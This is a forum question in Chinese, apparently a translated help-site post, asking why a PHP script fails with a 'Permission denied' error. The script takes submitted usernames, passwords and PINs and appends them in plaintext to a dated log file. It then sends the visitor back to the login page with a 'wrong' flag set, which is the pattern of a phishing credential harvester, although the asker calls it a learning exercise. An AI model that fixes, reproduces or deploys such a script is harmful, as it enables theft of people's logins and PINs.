我正在尝试让QA将我的私人网站中的每个用户名和密码写入日志文件(用于学习目的)
我的代码是:
<?php
session_start();
if(isset($_POST['input1'])){
$Username = $_POST['input1'];
}
if(isset($_POST['input2'])){
$Password = $_POST['input2'];
}
if(isset($_POST['input3'])){
$PIN = $_POST['input3'];
}
$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1\n";
fwrite($fh,"Username: " . $Username . "\n" . " Password: " . $Password . "\n" . " PIN: " . $PIN . "\n----------------------------\n");
fclose($fh);
header("Location: index.php");
$_SESSION['wrong'] = '1';
?>
我收到以下错误:
[24-Oct-2016 02:58:23 UTC] PHP Warning: fopen(logs_24-Oct-2016.txt): failed to open stream: Permission denied in /var/www/html/doneA.php on line 16
[24-Oct-2016 02:58:23 UTC] PHP Warning: fwrite() expects parameter 1 to be resource, boolean given in /var/www/html/doneA.php on line 18
[24-Oct-2016 02:58:23 UTC] PHP Warning: fclose() expects parameter 1 to be resource, boolean given in /var/www/html/doneA.php on line 19
以前它曾经很完美,但现在我收到了这个错误,任何想法?